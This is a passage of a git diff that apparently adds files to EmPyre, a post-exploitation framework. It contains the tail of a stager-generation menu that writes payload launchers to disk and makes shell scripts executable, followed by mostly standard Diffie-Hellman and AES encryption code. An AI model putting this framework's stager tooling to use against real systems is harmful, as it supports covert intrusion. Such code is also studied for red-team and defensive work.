.dll + if ".dll" in savePath: + f = open(savePath, 'wb') + f.write(bytearray(stagerOutput)) + f.close() + else: + # otherwise normal output + f = open(savePath, 'w') + f.write(stagerOutput) + f.close() + + # if this is a bash script, make it executable + if ".sh" in savePath: + os.chmod(savePath, 777) + + print "\n" + helpers.color("[*] Stager output written out to: "+savePath+"\n") + else: + print stagerOutput + + + def do_execute(self, line): + "Generate/execute the given EmPyre stager." + + self.do_generate(line) + + + def complete_set(self, text, line, begidx, endidx): + "Tab-complete a stager option to set." + + options = self.stager.options.keys() + + if line.split(" ")[1].lower() == "listener": + # if we're tab-completing a listener name, return all the names + listenerNames = self.mainMenu.listeners.get_listener_names() + endLine = " ".join(line.split(" ")[1:]) + + mline = endLine.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in listenerNames if s.startswith(mline)] + + elif line.split(" ")[1].lower().endswith("path"): + # tab-complete any stager option that ends with 'path' + return helpers.complete_path(text,line,arg=True) + + # otherwise we're tab-completing an option name + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in options if s.startswith(mline)] + + + def complete_unset(self, text, line, begidx, endidx): + "Tab-complete a stager option to unset." + + options = self.stager.options.keys() + ["all"] + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in options if s.startswith(mline)] + + + def do_agents(self, line): + "Jump to the Agents menu." + raise NavAgents() + + + def do_listeners(self, line): + "Jump to the listeners menu." + raise NavListeners() diff --git a/lib/common/encryption.py b/lib/common/encryption.py new file mode 100644 index 0000000..2a25877 --- /dev/null +++ b/lib/common/encryption.py @@ -0,0 +1,634 @@ +""" + +Encryption helper functions. + +""" + +import copy, sys, struct, os, hashlib +import base64, hashlib, hmac +from binascii import hexlify +from Crypto import Random + +# EmPyre imports +import helpers + + + +# AES code from https://github.com/ricmoo/pyaes +# DH code is directly from: https://github.com/lowazo/pyDHE +# GPLed + +################################################### +# +# The following Diffie Hellman implentation is from +# Mark Loiseau's implementation at: +# https://github.com/lowazo/pyDHE +# +# Licensed under version 3.0 of the GNU General +# Public License. +# +################################################### + +# If a secure random number generator is unavailable, exit with an error. +try: + import ssl + random_function = ssl.RAND_bytes + random_provider = "Python SSL" +except (AttributeError, ImportError): + import OpenSSL + random_function = OpenSSL.rand.bytes + random_provider = "OpenSSL" + +class DiffieHellman(object): + """ + A reference implementation of the Diffie-Hellman protocol. + By default, this class uses the 6144-bit MODP Group (Group 17) from RFC 3526. + This prime is sufficient to generate an AES 256 key when used with + a 540+ bit exponent. + """ + + def __init__(self, generator=2, group=17, keyLength=540): + """ + Generate the public and private keys. + """ + min_keyLength = 180 + default_keyLength = 540 + + default_generator = 2 + valid_generators = [ 2, 3, 5, 7 ] + + # Sanity check fors generator and keyLength + if(generator not in valid_generators): + print("Error: Invalid generator. Using default.") + self.generator = default_generator + else: + self.generator = generator + + if(keyLength < min_keyLength): + print("Error: keyLength is too small. Setting to minimum.") + self.keyLength = min_keyLength + else: + self.keyLength = keyLength + + self.prime = self.getPrime(group) + + self.privateKey = self.genPrivateKey(keyLength) + self.publicKey = self.genPublicKey() + + def getPrime(self, group=17): + """ + Given a group number, return a prime. + """ + default_group = 17 + + primes = { + 5: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF, + 14: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF, + 15: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF, + 16: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF, + 17: + 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF, + 18: + 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF + } + + if group in primes.keys(): + return primes[group] + else: + print("Error: No prime with group %i. Using default." % group) + return primes[default_group] + + def genRandom(self, bits): + """ + Generate a random number with the specified number of bits + """ + _rand = 0 + _bytes = bits // 8 + 8 + + while(_rand.bit_length() < bits): + try: + # Python 3 + _rand = int.from_bytes(random_function(_bytes), byteorder='big') + except: + # Python 2 + _rand = int(OpenSSL.rand.bytes(_bytes).encode('hex'), 16) + + return _rand + + def genPrivateKey(self, bits): + """ + Generate a private key using a secure random number generator. + """ + return self.genRandom(bits) + + def genPublicKey(self): + """ + Generate a public key X with g**x % p. + """ + return pow(self.generator, self.privateKey, self.prime) + + def checkPublicKey(self, otherKey): + """ + Check the other party's public key to make sure it's valid. + Since a safe prime is used, verify that the Legendre symbol == 1 + """ + if(otherKey > 2 and otherKey < self.prime - 1): + if(pow(otherKey, (self.prime - 1)//2, self.prime) == 1): + return True + return False + + def genSecret(self, privateKey, otherKey): + """ + Check to make sure the public key is valid, then combine it with the + private key to generate a shared secret. + """ + if(self.checkPublicKey(otherKey) == True): + sharedSecret = pow(otherKey, privateKey, self.prime) + return sharedSecret + else: + raise Exception("Invalid public key.") + + def genKey(self, otherKey): + """ + Derive the shared secret, then hash it to obtain the shared key. + """ + self.sharedSecret = self.genSecret(self.privateKey, otherKey) + + # Convert the shared secret (int) to an array of bytes in network order + # Otherwise hashlib can't hash it. + try: + _sharedSecretBytes = self.sharedSecret.to_bytes( + self.sharedSecret.bit_length() // 8 + 1, byteorder="big") + except AttributeError: + _sharedSecretBytes = str(self.sharedSecret) + + s = hashlib.sha256() + s.update(bytes(_sharedSecretBytes)) + self.key = s.digest() + + def getKey(self): + """ + Return the shared secret key + """ + return self.key + + def showParams(self): + """ + Show the parameters of the Diffie Hellman agreement. + """ + print("Parameters:") + print("Prime[{0}]: {1}".format(self.prime.bit_length(), self.prime)) + print("Generator[{0}]: {1}\n".format(self.generator.bit_length(), + self.generator)) + print("Private key[{0}]: {1}\n".format(self.privateKey.bit_length(), + self.privateKey)) + print("Public key[{0}]: {1}".format(self.publicKey.bit_length(), + self.publicKey)) + + def showResults(self): + """ + Show the results of a Diffie-Hellman exchange. + """ + print("Results:") + print("Shared secret[{0}]: {1}".format(self.sharedSecret.bit_length(), + self.sharedSecret)) + print("Shared key[{0}]: {1}".format(len(self.key), hexlify(self.key))) + + +def _compact_word(word): + return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] + +def _string_to_bytes(text): + return list(ord(c) for c in text) + +def _bytes_to_string(binary): + return "".join(chr(b) for b in binary) + +def _concat_list(a, b): + return a + b + +def to_bufferable(binary): + return binary + +def _get_byte(c): + return ord(c) + +# Python 3 compatibility +try: + xrange +except Exception: + xrange = range + + # Python 3 supports bytes, which is already an array of integers + def _string_to_bytes(text): + if isinstance(text, bytes): + return text + return [ord(c) for c in text] + + # In Python 3, we return bytes + def _bytes_to_string(binary): + return bytes(binary) + + # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first + def _concat_list(a, b): + return a + bytes(b) + + def to_bufferable(binary): + if isinstance(binary, bytes): + return binary + return bytes(ord(b) for b in binary) + + def _get_byte(c): + return c + +def append_PKCS7_padding(data): + if (len(data) % 16) == 0: + return data + else: + pad = 16 - (len(data) % 16) + return data + to_bufferable(chr(pad) * pad) + +def strip_PKCS7_padding(data): + if len(data) % 16 != 0: + raise ValueError("invalid length") + + pad = _get_byte(data[-1]) + + if pad <= 16: + return data[:-pad] + else: + return data + + +################################################### +# +# The following AES implentation is adapted from +# Richard Moore's implementation at: +# https://github.com/ricmoo/pyaes +# +# Licensed under the MIT license. +# +################################################### + +class AES(object): + '''Encapsulates the AES block cipher. + + You generally should not need this. Use the AESModeOfOperation classes + below instead.''' + + # Number of rounds by keysize + number_of_rounds = {16: 10, 24: 12, 32: 14} + + # Round constant words + rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ] + + # S-box and Inverse S-box (S is for Substitution) + S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ] + Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] + + # Transformations for encryption + T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ] + T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 